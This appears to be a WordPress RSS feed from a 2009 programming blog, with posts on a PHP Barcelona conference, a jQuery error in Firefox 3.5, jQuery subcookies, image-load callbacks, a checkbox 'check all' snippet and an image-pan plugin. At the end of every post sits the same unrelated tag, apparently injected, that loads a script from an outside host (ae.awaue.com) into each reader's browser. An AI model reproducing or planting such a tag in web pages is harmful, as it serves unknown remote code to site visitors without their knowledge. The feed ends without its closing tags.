<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Elzo Valugi &#187; Programming</title>
	<atom:link href="http://blog.valugi.ro/category/programming/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.valugi.ro</link>
	<description>professional websurfing</description>
	<lastBuildDate>Sun, 25 Jul 2010 06:34:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>PHP Barcelona 2009 impressions</title>
		<link>http://blog.valugi.ro/2009/11/07/php-barcelona-2009-impressions/</link>
		<comments>http://blog.valugi.ro/2009/11/07/php-barcelona-2009-impressions/#comments</comments>
		<pubDate>Sat, 07 Nov 2009 17:48:04 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[Barcelona]]></category>
		<category><![CDATA[Books]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[Techie]]></category>
		<category><![CDATA[Zend Framework]]></category>
		<category><![CDATA[agile]]></category>
		<category><![CDATA[API]]></category>
		<category><![CDATA[Database Resident Connection Pool]]></category>
		<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Phing]]></category>
		<category><![CDATA[REST]]></category>
		<category><![CDATA[scrum]]></category>
		<category><![CDATA[SOAP]]></category>
		<category><![CDATA[webservices]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=568</guid>
		<description><![CDATA[Last Friday and Saturday I was attending PHP Barcelona Conference.  Barcelona is a TOP10 tourist destination but when it comes to PHP we are a small province town, and as you may suspect Gaudi and beaches are somehow more famous here than programmers. But we exist and most of us try to do their best [...]]]></description>
			<content:encoded><![CDATA[<p>Last Friday and Saturday I was attending <a href="http://phpconference.es/" target="_blank">PHP Barcelona Conference</a>.  Barcelona is a TOP10 tourist destination but when it comes to PHP we are a small province town, and as you may suspect Gaudi and beaches are somehow more famous here than programmers. But we exist and most of us try to do their best and this happens thanks to <a href="http://phpbarcelona.org/" target="_blank">Barcelona PHP Programmers Group</a>.</p>
<p>The program had enough presentation to choose from.</p>
<p>These are the presentations that I&#8217;ve attended:<br />
<strong>Working with Web Services</strong> &#8211; by <a href="www.lornajane.net/" target="_blank">Lorna Mitchell</a>, not bad but very basic. Probably good for PHP programmers who never worked with an API or webservice before. <a href="http://www.alexpuig.es/" target="_self">Alex Puig</a> presentation about actually implementing an API was far more interesting.</p>
<div id="__ss_2391682" style="width: 425px; text-align: left;"><object style="margin:0px" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="355" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=cfakepathworkingwithwebserviceswed-091031132635-phpapp02&amp;rel=0&amp;stripped_title=working-with-web-services" /><param name="allowfullscreen" value="true" /><embed style="margin:0px" type="application/x-shockwave-flash" width="425" height="355" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=cfakepathworkingwithwebserviceswed-091031132635-phpapp02&amp;rel=0&amp;stripped_title=working-with-web-services" allowscriptaccess="always" allowfullscreen="true"></embed></object></div>
<p><img style="visibility: hidden; width: 0px; height: 0px;" src="http://counters.gigya.com/wildfire/IMP/CXNID=2000002.0NXC/bT*xJmx*PTEyNTc2MTU3NDU5MDYmcHQ9MTI1NzYxNTc2ODk4NCZwPTEwMTkxJmQ9c3NfZW1iZWQmZz*yJm89YzU3ODIwZmZlNjI2NGRhZmE4ZDEyMGUxMjFmNTg4Yzcmb2Y9MA==.gif" border="0" alt="" width="0" height="0" /></p>
<div id="__ss_2436054" style="width: 425px; text-align: left;"><object style="margin:0px" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="355" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=developingarestapi-091106020654-phpapp02&amp;stripped_title=desarrollando-un-api-con-rest" /><param name="allowfullscreen" value="true" /><embed style="margin:0px" type="application/x-shockwave-flash" width="425" height="355" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=developingarestapi-091106020654-phpapp02&amp;stripped_title=desarrollando-un-api-con-rest" allowscriptaccess="always" allowfullscreen="true"></embed></object></div>
<p><strong>Trees in Database</strong> &#8211; by Lorenzo Alberton. This one was better even though it wasn&#8217;t a PHP subject. I already knew and implemented some of this advanced data models, but not all.  Interesting.</p>
<div id="__ss_1599248" style="width: 425px; text-align: left;"><object style="margin:0px" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="355" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=treesinthedatabase-slideshare-090617144655-phpapp01&amp;rel=0&amp;stripped_title=trees-in-the-database-advanced-data-structures" /><param name="allowfullscreen" value="true" /><embed style="margin:0px" type="application/x-shockwave-flash" width="425" height="355" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=treesinthedatabase-slideshare-090617144655-phpapp01&amp;rel=0&amp;stripped_title=trees-in-the-database-advanced-data-structures" allowscriptaccess="always" allowfullscreen="true"></embed></object></div>
<p><strong>Simple is Hard</strong> &#8211; by Rasmus Lerdorf. Good. I love people that tell me I am stupid.<br />
<a href="http://talks.php.net/show/phpbcn">http://talks.php.net/show/phpbcn</a></p>
<p>Ajax for scalability by Erik Schultink from Tuenti. Good advices but nothing different from Facebook presentations seen on InfoQ and good only if you have the site with most traffic in your country .</p>
<p>Agile Development with PHP in Practice by Lars Jankowfsky. Basic.</p>
<p>I&#8217;ve also been to an Oracle on PHP workshop. <strong>Database Resident Connection Pool</strong> on 11g seems interesting.</p>
<p><strong>PHP Security Audits</strong> &#8211; by Seguy Damien. Very clear and nice. Give me and <a href="http://noteslog.com/" target="_blank">Andrea</a> something to discuss. I think I should do PHP and Javascript audits. Not only security but also code improvements.</p>
<div style="width: 425px; text-align: left;"><object style="margin:0px" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="355" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=php-security-barcelona-091102023948-phpapp02&amp;stripped_title=php-security-audits" /><param name="allowfullscreen" value="true" /><embed style="margin:0px" type="application/x-shockwave-flash" width="425" height="355" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=php-security-barcelona-091102023948-phpapp02&amp;stripped_title=php-security-audits" allowscriptaccess="always" allowfullscreen="true"></embed></object></div>
<p>The overall organization was good. Food and drinks, books with discounts.</p>
<p>The State of QA Tools for PHP by Sebastian Bergmann. Probably one of the most interesting presentations of the conference.</p>
<div id="__ss_2389795" style="width: 425px; text-align: left;"><object style="margin:0px" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="355" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=thestateofqatoolsforphp-091031061425-phpapp01&amp;rel=0&amp;stripped_title=the-state-of-qa-tools-for-php-2389795" /><param name="allowfullscreen" value="true" /><embed style="margin:0px" type="application/x-shockwave-flash" width="425" height="355" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=thestateofqatoolsforphp-091031061425-phpapp01&amp;rel=0&amp;stripped_title=the-state-of-qa-tools-for-php-2389795" allowscriptaccess="always" allowfullscreen="true"></embed></object></div>
<div style="width: 425px; text-align: left;">I did attend to a <strong><a href="http://phing.info/trac/" target="_blank">Phing</a> </strong>seminar I think it is a pretty useful tool that I cant wait to test.</div>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2009/11/07/php-barcelona-2009-impressions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>twitter surprise by Rasmus himself</title>
		<link>http://blog.valugi.ro/2009/10/27/twitter-surprise-by-rasmus-himself/</link>
		<comments>http://blog.valugi.ro/2009/10/27/twitter-surprise-by-rasmus-himself/#comments</comments>
		<pubDate>Tue, 27 Oct 2009 10:55:16 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[Barcelona]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Society]]></category>
		<category><![CDATA[Techie]]></category>
		<category><![CDATA[Trivia]]></category>
		<category><![CDATA[Webcitizens]]></category>
		<category><![CDATA[rasmus lerdorf]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=564</guid>
		<description><![CDATA[I was asking in Twitter if anybody knows about what Rasmus Lerdorf will talk on his talk at Barcelona PHP Conference, which was without a topic. I was also interested about the other subject that runs in parallel PHP Industrialization. I want to see the GURU inventor of PHP itself, but nevertheless I don&#8217;t want [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;"><img class="size-full wp-image-563 aligncenter" title="rasmus_tweeter" src="http://blog.valugi.ro/wp-content/uploads/2009/10/rasmus_tweeter.jpg" alt="rasmus_tweeter" width="600" height="150" />I was asking in Twitter if anybody knows about what <a href="http://en.wikipedia.org/wiki/Rasmus_Lerdorf" target="_blank">Rasmus Lerdorf </a>will talk on his talk at <a href="http://phpconference.es/barcelona-php-conference-2009/talks/">Barcelona PHP Conference</a>, which was without a topic. I was also interested about the other subject that runs in parallel <strong>PHP Industrialization</strong>. I want to see the GURU inventor of PHP itself, but nevertheless I don&#8217;t want to see him to take a picture with him. This is not an amusement park. I want to hear something enlightening. I know that I can expect too much, it happen before at a PHP event with Zeev Suraski, from where I did go dissapointed. I hope people come in Barcelona and treat the conference seriously, and don&#8217;t take this a a vacation. I am absolutely fed up with tourists.</p>
<p style="text-align: left;">Anyway, this post is about the power of Twitter, which so far I was underestimating. How cool is to have Rasmus responding to you directly and in a non official manner?</p>
<p style="text-align: left;"><strong>Priceless.</strong></p>
<p style="text-align: left;">PS. in January 2009 I was creating <a href="http://ro.wikipedia.org/w/index.php?title=Rasmus_Lerdorf&amp;action=history">Rasmus Lerdorf</a> page in ro.wikipedia. So probably exists a Law of Compensation. :)</p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2009/10/27/twitter-surprise-by-rasmus-himself/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>NS_ERROR_XPC_BAD_CONVERT_JS jQuery Error on FF3.5</title>
		<link>http://blog.valugi.ro/2009/09/30/ns_error_xpc_bad_convert_js-jquery-error-on-ff3-5/</link>
		<comments>http://blog.valugi.ro/2009/09/30/ns_error_xpc_bad_convert_js-jquery-error-on-ff3-5/#comments</comments>
		<pubDate>Wed, 30 Sep 2009 11:48:13 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[bug]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=498</guid>
		<description><![CDATA[Non freakish people should ignore this post. It is a solution for a JavaScript bug that doesn&#8217;t make a clear signature. A colleague got this error when trying to implement a jQuery slider plugin called S3 Slider. uncaught exception: [Exception... "Could not convert JavaScript argument arg 0" nsresult: "0x80570009 (NS_ERROR_XPC_BAD_CONVERT_JS)" location: "JS frame :: http://dev.valugi.ro/lib/jquery/jquery-1.3.2.min.js [...]]]></description>
			<content:encoded><![CDATA[<p>Non freakish people should ignore this post. It is a solution for a JavaScript bug that doesn&#8217;t make a clear signature.</p>
<p>A colleague got this error when trying to implement a jQuery slider plugin called <a href="http://www.serie3.info/s3slider/" target="_blank">S3 Slider</a>.<br />
<code><br />
uncaught exception: [Exception... "Could not convert JavaScript argument arg 0" nsresult: "0x80570009 (NS_ERROR_XPC_BAD_CONVERT_JS)" location: "JS frame :: http://dev.valugi.ro/lib/jquery/jquery-1.3.2.min.js :: anonymous :: line 12" data: no]<br />
</code></p>
<p>This error is not obvious and not very well documented on other places on web. I saw that is mainly related with various CSS properties. By debugging the plugin I saw that in his case was thrown when he was not passing some spans that the plugin creators take for granted in the HTML code. So I made a <a href="http://dev.valugi.ro/jquery/bug-css-property-missing-property/" target="_blank">demo</a> to simulate the problem. Check the firebug console for the error.</p>
<p>The code to reproduce the error in your Firebug Console:<br />
<code class="javascript"><br />
var itemsSpan = $('span'); // but no spans in page<br />
var currNo = 0;<br />
var x = $(itemsSpan[currNo]); // x defaults to document<br />
console.log(x);<br />
console.log(x.css('bottom')); // throws error in jQuery curCSS function<br />
</code></p>
<p>It seems that at line 808 in curCSS function, jQuery throws this error as is unable to output the computed style for the document.<br />
Fast solutions: either add the missing elements, either modify the plugin to check for elements before doing any CSS property retrival.</p>
<p>Update from the <a href="http://dev.jquery.com/ticket/5309" target="_blank">bug report</a> that I opened.<br />
<em>In jQuery 1.3.3, $(undefined) will return an empty collection. That will either fix the problem or push it somewhere else. :) You could try the nightly where the patch is already implemented and see how it behaves.</em><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2009/09/30/ns_error_xpc_bad_convert_js-jquery-error-on-ff3-5/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>google Chrome has already an API for extensions</title>
		<link>http://blog.valugi.ro/2009/09/22/google-chrome-has-already-an-api-for-extensions/</link>
		<comments>http://blog.valugi.ro/2009/09/22/google-chrome-has-already-an-api-for-extensions/#comments</comments>
		<pubDate>Tue, 22 Sep 2009 16:53:22 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Techie]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[extension]]></category>
		<category><![CDATA[plugin]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=490</guid>
		<description><![CDATA[I was surprised to find it, as I thought it will take a while longer since it will be public. Javascript, HTML and CSS. So far is only for the dev chrominium version. Chrome will catch up soon with Firefox. @chromeDevelopers please make the your console at least as good as Firebug. http://code.google.com/chrome/extensions/api_other.html]]></description>
			<content:encoded><![CDATA[<p>I was surprised to <a href="http://code.google.com/chrome/extensions/index.html" target="_blank">find it</a>, as I thought it will take a while longer since it will be public. Javascript, HTML and CSS. So far is only for the dev chrominium version. Chrome will catch up soon with Firefox.</p>
<p>@chromeDevelopers please make the your console at least as good as Firebug.</p>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;"><a href="http://code.google.com/chrome/extensions/api_other.html">http://code.google.com/chrome/extensions/api_other.html</a></div>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2009/09/22/google-chrome-has-already-an-api-for-extensions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Subcookies in jQuery</title>
		<link>http://blog.valugi.ro/2009/09/13/subcookies-in-jquery/</link>
		<comments>http://blog.valugi.ro/2009/09/13/subcookies-in-jquery/#comments</comments>
		<pubDate>Sun, 13 Sep 2009 19:37:10 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[cookie]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[subcookie]]></category>
		<category><![CDATA[YUI]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=459</guid>
		<description><![CDATA[I was looking at YUI Api and I thought I find a new concept : subcookies.  But by reading the docs I realized that the concept is not new, as I&#8217;ve used it before. The idea comes from the limit that the browsers are puting to the cookie number, 20 per domain. This usually makes [...]]]></description>
			<content:encoded><![CDATA[<p>I was looking at YUI Api and I thought I find a new concept : <a href="http://developer.yahoo.com/yui/examples/cookie/cookie-subcookie-example.html" target="_blank">subcookies</a>.  But by reading the docs I realized that the concept is not new, as I&#8217;ve used it before. The idea comes from the limit that the browsers are puting to the cookie number, 20 per domain. This usually makes you try to push as much information on the cookie, instead of creating new cookies for each variable that you may want on the clients side. What you do is basically store serialized data in the cookie string.</p>
<p>A server side solution of this problem is to keep only a cookie with a hash on the client side and read/save all the variables associated with that hash on server side or database. Downside to this approach is that you have to make an extra call server/db call each time you wanna know the values.</p>
<p>The interesting thing is that YUI implements a mechanism to read/write this subcookie data. I&#8217;ve tried to do the same in jQuery starting from <a href="http://plugins.jquery.com/project/cookie" target="_blank">$.cookie</a> plugin and I&#8217;ve come up with this usage.</p>
<p><code class="javascript"><br />
/**<br />
 * Create a cookie with the given name, part and value and other optional parameters.<br />
 * If the part parameter is passed the value will be asigned to the part key<br />
 *<br />
 *<br />
 * @example $.cookie('the_cookie', 'part', 'the_value');<br />
 * @desc Set the value of a cookie. If part parameter is present it will create the value in serialized form<br />
 * @example: $.cookie('the_cookie', null, 'the_value') // creates a cookie with value "the_value"<br />
 * @example: $.cookie('the_cookie, 'name', 'the_name') // creates a cookie with value "name=the_name"<br />
 * @example: $.cookie('the_cookie, 'prename','second_name') // will add info to the cookie value "name=the_name&#038;prename=second_name"<br />
 * @example $.cookie('the_cookie', null, 'the_value', {expires: 7, path: '/', domain: 'jquery.com', secure: true});<br />
 * @desc Create a cookie with all available options.<br />
 * @example $.cookie('the_cookie', null, 'the_value');<br />
 * @desc Create a session cookie.<br />
 * @example $.cookie('the_cookie','name', null);<br />
 * @desc Delete the name value<br />
 * @example $.cookie('the_cookie',null, null);<br />
 * @desc Delete a cookie by passing null as value.<br />
 *<br />
 * @param String name The name of the cookie.<br />
 * @param String part The key for the array.<br />
 * @param String value The value of the cookie or of the element.<br />
 * @param Object options An object literal containing key/value pairs to provide optional cookie attributes.<br />
 * @option Number|Date expires Either an integer specifying the expiration date from now on in days or a Date object.<br />
 *                             If a negative value is specified (e.g. a date in the past), the cookie will be deleted.<br />
 *                             If set to null or omitted, the cookie will be a session cookie and will not be retained<br />
 *                             when the the browser exits.<br />
 * @option String path The value of the path atribute of the cookie (default: path of page that created the cookie).<br />
 * @option String domain The value of the domain attribute of the cookie (default: domain of page that created the cookie).<br />
 * @option Boolean secure If true, the secure attribute of the cookie will be set and the cookie transmission will<br />
 *                        require a secure protocol (like HTTPS).<br />
 *<br />
 *<br />
 */<br />
$.cookie('TheCookie', 'first_key', 'value1', options); // will write the cookie<br />
$.cookie('TheCookie', 'second_key', 'value2', options); // will add the second_key info<br />
alert($.cookie('TheCookie', 'second_key')); // will alert value2<br />
console.log( $.cookie('TheCookie')); // "first_key=value1&#038;second_key=value2<br />
}</code></p>
<p><a href="http://dev.valugi.ro/jquery/subcookie/" target="_blank">You can see a demo of jQuery Subcookie here.</a> This is only a draft but I could rewrite it in a serious plugin if any interes is shown and you think this is could be useful.</p>
<p><code class="javascript"> </code><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2009/09/13/subcookies-in-jquery/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Callback for image loading with jQuery</title>
		<link>http://blog.valugi.ro/2009/09/11/callback-for-image-loading-with-jquery/</link>
		<comments>http://blog.valugi.ro/2009/09/11/callback-for-image-loading-with-jquery/#comments</comments>
		<pubDate>Fri, 11 Sep 2009 20:33:42 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[callback]]></category>
		<category><![CDATA[image]]></category>
		<category><![CDATA[loading]]></category>
		<category><![CDATA[preloading]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=439</guid>
		<description><![CDATA[How to check when a dynamically loaded image has loaded using jQuery. Useful when loading big images as a result of AJAX request and we you need to do extra actions at the end of image loading.]]></description>
			<content:encoded><![CDATA[<p>While I was doing the demo for my previous post about &#8220;<a href="http://blog.valugi.ro/2009/07/31/simulating-a-pan-image-jquery-plugin/">simulating image pan jQuery plugin</a>&#8221; I&#8217;ve noticed that the first time that I was loading the script the actions were executed before even loading the image and resulting in failure. This days at my job I was doing a gallery plugin in jQuery and notice the same problem.</p>
<p>Sometimes you have to load dynamic images as a result of a AJAX request, and you want to be able to do things only after the image has finish loading. In this case the ready() function, which is a wrapper for the window.onload() function is not usefull, because it applies to the elements present at the beginning.</p>
<p>In this scenario you make a request and receive as a string a path for a new image you have to load.	This is usefull if you have big images and want to wait until the images are loaded before doing anything else.</p>
<p><code class="javascript"><br />
	$(document).ready( function (){<br />
		$.get(<br />
			'test.php',<br />
			function( data ){<br />
				//console.log(data); // ["test.jpg"]<br />
				var _image = new Image();<br />
				_image.src = data;<br />
				_image.id = 'newImageId';<br />
				$(_image).load( function(){<br />
					//once image is loaded add it to the div and remove the preloading<br />
					$("#imageContainer").append( _image ).removeClass('loading');<br />
					// do other stuff<br />
					_image.alt = "test image";<br />
				});<br />
			}<br />
		);<br />
	});<br />
</code></p>
<p>I&#8217;ve tested it in IE, FF, Chrome and works with cache enabled/disabled. The secret, not a big one, is the usage of AJAX <a href="http://docs.jquery.com/Ajax/load">load()</a> function which does a GET request in the background and allows a callback. The purpose of the load function is to inject some html code in the current page. If you want to change the src value for a current image and do a callback it will be a good idea to pass a random string to the GET request as your browser could cache the image name and content. </p>
<p><a href="http://dev.valugi.ro/jquery/check-dynamic-loaded-image/" target="_blank">Demo here</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2009/09/11/callback-for-image-loading-with-jquery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Easiest &#8220;check all&#8221; ever with jQuery made even more &#8230; easy</title>
		<link>http://blog.valugi.ro/2009/08/17/easiest-check-all-ever-with-jquery-made-even-more-easy/</link>
		<comments>http://blog.valugi.ro/2009/08/17/easiest-check-all-ever-with-jquery-made-even-more-easy/#comments</comments>
		<pubDate>Mon, 17 Aug 2009 10:09:54 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[selectors]]></category>
		<category><![CDATA[semantics]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=352</guid>
		<description><![CDATA[How to improve some JavaScript. Check full post.]]></description>
			<content:encoded><![CDATA[<p>I was reading some tweets and I got to this <a href="http://briancray.com/2009/08/06/check-all-jquery-javascript/">post</a>, which can be improved.</p>
<p>First the html. Don&#8217;t use divs for layout purposes.</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;fieldset&gt;
	// these will be affected by check all
&lt;div&gt;
&lt;input id=&quot;checkall&quot; type=&quot;checkbox&quot; /&gt; Check all&lt;/div&gt;
&lt;div&gt;
&lt;input type=&quot;checkbox&quot; /&gt; Checkbox&lt;/div&gt;
&lt;div&gt;
&lt;input type=&quot;checkbox&quot; /&gt; Checkbox&lt;/div&gt;
&lt;div&gt;
&lt;input type=&quot;checkbox&quot; /&gt; Checkbox&lt;/div&gt;
&lt;/fieldset&gt;
&lt;fieldset&gt;
	// these won't be affected by check all; different fieldset
&lt;div&gt;
&lt;input type=&quot;checkbox&quot; /&gt; Checkbox&lt;/div&gt;
&lt;div&gt;
&lt;input type=&quot;checkbox&quot; /&gt; Checkbox&lt;/div&gt;
&lt;div&gt;
&lt;input type=&quot;checkbox&quot; /&gt; Checkbox&lt;/div&gt;
&lt;/fieldset&gt;</pre></div></div>

<p>The original post divs are nonsense in terms of usability and semantics. Loose them as the original author just needed some BR tags.</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;fieldset&gt;
&lt;input id=&quot;checkall&quot; type=&quot;checkbox&quot; /&gt; Check all 
&lt;input type=&quot;checkbox&quot; /&gt; Checkbox
&lt;input type=&quot;checkbox&quot; /&gt; Checkbox
&lt;input type=&quot;checkbox&quot; /&gt; Checkbox
&lt;/fieldset&gt;
&lt;fieldset&gt;
	// these won't be affected by check all; different fieldset
&lt;input type=&quot;checkbox&quot; /&gt; Checkbox
&nbsp;
&lt;input type=&quot;checkbox&quot; /&gt; Checkbox
&nbsp;
&lt;input type=&quot;checkbox&quot; /&gt; Checkbox
&lt;/fieldset&gt;</pre></div></div>

<p>This is the original javascript:<br />
<code class="javascript"><br />
$(function () { // this line makes sure this code runs on page load<br />
$('#checkall').click(function () {<br />
$checkall = $(this); OK<br />
$close = $checkall.parents('fieldset:eq(0)').find('input'); // this is called $close but it should be $elements or something<br />
$checkall.attr('checked') !== true ? $close.removeAttr('checked') : $close.attr('checked', 'checked'); // see my version down<br />
});<br />
});<br />
</code><br />
The javascript can be shortened and I preffer using native functions like <strong>is()</strong>, pseudoselectors like <strong>:checked</strong>, and <strong>boolean</strong> values when accepted instead of strings.</p>
<p><code class="javascript"><br />
$('#checkall').click( function () {<br />
var all= $(this).siblings();<br />
$(this).is(':checked') ? all.attr('checked', true) : all.attr('checked', false);<br />
});<br />
</code><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2009/08/17/easiest-check-all-ever-with-jquery-made-even-more-easy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Simulating a Pan Image jQuery plugin</title>
		<link>http://blog.valugi.ro/2009/07/31/simulating-a-pan-image-jquery-plugin/</link>
		<comments>http://blog.valugi.ro/2009/07/31/simulating-a-pan-image-jquery-plugin/#comments</comments>
		<pubDate>Fri, 31 Jul 2009 11:16:04 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[image]]></category>
		<category><![CDATA[pan]]></category>
		<category><![CDATA[plugin]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=319</guid>
		<description><![CDATA[Fact: jQuery has plugins for everything. Fact: you don&#8217;t have to use plugins for everything. Working on a custom javaScript intensive CMS I get the task of displaying a big image inside a controlled environment. I could have used a plugin like MbImgNavigator or ImageZoom. I implemented both but I wasn&#8217;t particularly satisfied with neither. [...]]]></description>
			<content:encoded><![CDATA[<p>Fact: jQuery has plugins for everything.</p>
<p>Fact: you don&#8217;t have to use plugins for everything.</p>
<p>Working on a custom javaScript intensive CMS I get the task of displaying a big image inside a controlled environment. I could have used a plugin like <a href="http://pupunzi.wordpress.com/2009/01/20/mbimgnavigator/">MbImgNavigator</a> or <a href="http://www.visual-blast.com/source/jqzoom/">ImageZoom</a>. I implemented both but I wasn&#8217;t particularly satisfied with neither.</p>
<p>So I created my own simulation that is just a couple of lines without even the need for something complex.<br />
What it does:</p>
<ul>
<li>checking if the image is bigger than then the restrictive container</li>
<li>modifies a envelope container to allow movement only between the calculated permitted limits</li>
<li>activates the drag (jQueryUI) by globally or by axis if only one of the dimensions is overlapping the limits</li>
</ul>
<p>If the image is smaller that the limits nothing happens.<br />
<code class="javascript"><br />
	$(document).ready( function (){<br />
		var overflow_x = 0;<br />
		var overflow_y = 0;<br />
		var _image_x = $('#imageTest').width();<br />
		var _image_y = $('#imageTest').height();<br />
		if( _image_x > 300 ){<br />
			overflow_x = _image_x;<br />
		}<br />
		if( _image_y > 300 ){<br />
			overflow_y = _image_y;<br />
		}<br />
		if( overflow_x &#038;&#038; overflow_y ){<br />
			$('#bckContainerImg').css(<br />
				{<br />
					height: (overflow_y * 2 - 300),<br />
					width: ( overflow_x * 2 - 300 ),<br />
					'margin-top' : -( overflow_y - 300),<br />
					'margin-left': -( overflow_x - 300)<br />
				}<br />
			);<br />
			$("#bigImg img").draggable({containment: '#bckContainerImg'}).css({ cursor: 'all-scroll'});<br />
		} else{<br />
			if( overflow_x ){<br />
				$('#bckContainerImg').css({width: ( overflow_x*2 -300 ), 'margin-left': -(overflow_x - 300) });<br />
				$("#bigImg img").draggable({ axis: 'x', containment: '#bckContainerImg' }).css({ cursor: 'e-resize'});<br />
			}<br />
			if( overflow_y ){<br />
				$('#bckContainerImg').css({ height: (overflow_y * 2 - 300),  'margin-top': -(overflow_y - 300),});<br />
				$("#bigImg img").draggable({ axis: 'y', containment: '#bckContainerImg' }).css({ cursor: 'n-resize'});<br />
			}<br />
		}<br />
	});<br />
</code></p>
<p>You can see a <a href="http://dev.valugi.ro/jquery/pan-image/">full demo here</a>.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2009/07/31/simulating-a-pan-image-jquery-plugin/feed/</wfw:commentRss>
